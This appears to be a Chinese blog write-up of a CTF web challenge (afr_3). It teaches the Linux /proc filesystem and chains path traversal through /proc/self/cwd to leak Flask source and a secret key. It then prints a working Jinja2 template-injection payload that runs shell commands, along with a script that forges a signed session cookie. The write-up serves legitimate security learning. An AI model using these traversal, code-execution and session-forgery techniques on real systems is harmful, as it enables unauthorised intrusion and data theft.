【第一章 web入门】afr_3——模板注入与proc文件夹

【第一章 web入门】afr_3——模板注入与proc文件夹

题目来源n1book,buu上的环境

  • 看题

    url中提供了name参数,类似在路径中进行了文件名查询然后展示:

    image-20230417202636196

    随便输入一个数字:

    image-20230417203104008

    说明肯定题目要求我们利用这个文件读取漏洞。但是输入flag之后显示no permission。所以尝试其他方法。

  • proc目录

    在linux中的proc目录是一种文件系统,但是它是一种虚拟文件系统,存储了当前内核运行状态的一些文件,可以在其中查看到当前系统硬件以及运行进程的信息。

    目录中存在许多数字命名的子目录,数字为当前系统运行进程的进程号:

    image-20230417211059606

    用ll命令查看详细信息:

    image-20230417211720198

    下面解释进程文件夹中一些重要文件:

    • cmdline:启动当前进程的完成命令

      image-20230417212308305

    • environ:指向当前进程的环境变量列表,大写字母为变量名,小写字母为变量值:

      image-20230417212400034

    • status:记录当前进程的内存信息

      image-20230417212613949

    • cwd:是指向当前进程运行目录的符号链接,访问后能看到指定进程的运行目录:

      image-20230417215157972

      可以看到29439号进程的运行路径为/home/jay:

      image-20230417215459494

      并且/proc/29439/cwd是直接链接到/home/jay,可以通过/proc/29439/cwd来访问/home/jay下的文件。

    下面解释一下proc目录中常见文件:

    • /proc/cmdline :记录启动时传递至内核的相关信息

      image-20230417212925541

    • /proc/net:记录网络相关设置,比如/proc/net/arp就记录了系统的arp表:

      image-20230417213147730

    • /proc/self:表示当前进程目录,当某个进程想访问自己的目录时就可以访问该目录,这样就可以省略获取进程pid的过程。

  • 继续看题

    有了上面的背景知识就有了思路,可以看到上面一共三层路径,那么进入/proc/self/environ看看本进程的环境变量:

    http://bc536aa0-1952-405e-9901-7c54ce570dcb.node4.buuoj.cn:81/article?name=../../../proc/self/environ
    

    image-20230418103614923

    这里是一个假的flag。

    继续看一下cmdline看看是哪个程序:

    http://bc536aa0-1952-405e-9901-7c54ce570dcb.node4.buuoj.cn:81/article?name=../../../proc/self/cmdline
    

    image-20230418104026490

    说明进程的启动文件为server.py。

    利用proc/self/cwd查看server.py内容,因为server.py就存储在proc/self/cwd指向的文件夹中:

    http://bc536aa0-1952-405e-9901-7c54ce570dcb.node4.buuoj.cn:81/article?name=../../../proc/self/cwd/server.py
    

    用chatgpt换行之后:

    #!/usr/bin/python  #声明解释器,如果server.py具有可执行权限,可以直接用./server.py来运行
    
    import os  
    from flask import Flask, render_template, request, url_for, redirect, session, render_template_string  
    from flask_session import Session
    
    app = Flask(__name__)  
    execfile('flag.py')  
    execfile('key.py')  
    FLAG = flag  
    app.secret_key = key
    
    @app.route("/n1page", methods=["GET", "POST"])  
    def n1page():  
        if request.method != "POST":  
            return redirect(url_for("index"))  
        n1code = request.form.get("n1code") or None  
        if n1code is not None:  
            n1code = n1code.replace(".", "")  
            n1code = n1code.replace("_", "")  
            n1code = n1code.replace("{", "")  
            n1code = n1code.replace("}", "")  
        if "n1code" not in session or session['n1code'] is None:  
            session['n1code'] = n1code  
        template = None  
        if session['n1code'] is not None:  
            template = '''<h1>N1 Page</h1>  
                        <div class="row">  
                            <div class="col-md-6 col-md-offset-3 center">  
                                Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?  
                            </div>  
                        </div>  
                    ''' % session['n1code']  
        session['n1code'] = None  
        return render_template_string(template)
    
    @app.route("/", methods=["GET"])  
    def index():  
        return render_template("main.html")
    
    @app.route('/article', methods=['GET']) 
    def article():  
        error = 0  
        if 'name' in request.args:  
            page = request.args.get('name')  
        else:  
            page = 'article'  
        if page.find('flag') >= 0:  
            page = 'notallowed.txt'  
        try:  
            template = open('/home/nu11111111l/articles/{}'.format(page)).read()  
        except Exception as e:  
            template = e  
        return render_template('article.html', template=template)
    
    if __name__ == "__main__":  
        app.run(host='0.0.0.0', debug=False)  
    
    

    在n1page方法里用到了render_template_string()方法,并且也用到了格式化字符串,可以判断这里是存在模板注入的,具体可以参考上一篇博客:Flask模板注入

    分析代码:在这里我们可以看到对我们的输入n1code进行了过滤,没有办法通过传入n1code的值来实现注入,但是可以看到其实渲染的判断条件是session['n1code'],所以如果我们可以直接更改session的值就能直接操控输出,这里session被app.secret_key进行了加密。

  • 编写payload:

    • 查看一下key.py:

      http://7543717c-441a-470f-80c0-a2b53f624208.node4.buuoj.cn:81/article?name=../../../proc/self/cwd/key.py
      

      输出:

      #!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
      

      根据Flask模板注入,并在本地的linux系统中进行了测试,object子类下的第101个类中的__builtins__属性中包含了eval函数,因此命令执行的payload为:

      {{''.__class__.__mro__[1].__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag.py").read()')}}
      
    • 根据key的值在本地搭建环境进行查看payload对应的加密后session:

      #coding=utf-8
      from flask import render_template_string
      from flask import Flask
      from flask import request,session
      from flask_session import Session
      
      app=Flask(__name__) #创建flask类
      app.secret_key='Drmhze6EPcv0fN_81Bj-nA'
      
      @app.route('/',methods=["GET","POST"])#路由
      def index():
         session['n1code']="{{''.__class__.__mro__[1].__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag.py\").read()')}}"
         return 'payload:%s'%session['n1code']
      
      if __name__ == '__main__':
         app.run('127.0.0.1',port=8000)
      

      运行脚本,直接复制请求头中的session:

      .eJwdisEKwyAQBX-leFm9SLz2V4wsxtggGBU1hSL-eze5zZs3gyXl8u7Zm40BIBFdtK0hEp01I2plCNu1Pd7Tw4VWy3LbkEJ_yiPmzUb6NCBuV4g9JFpgNPivjWA4-XCWXKnnK8ttZUKWXHyi5Wx_faI9ZPndunq7cwFiTjb_PN82fA.ZED8dA.1QLwolkHh8ufM6dBgE065DdKDQo
      

      image-20230420165507753

总结

  • proc系统环境的查看

  • flask模板注入

参考链接

proc文件系统:[https://www.cnblogs.com/DswCnblog/p/5780389.html]

posted @ 2023-04-20 19:57  CAP_T  阅读(272)  评论(0编辑  收藏  举报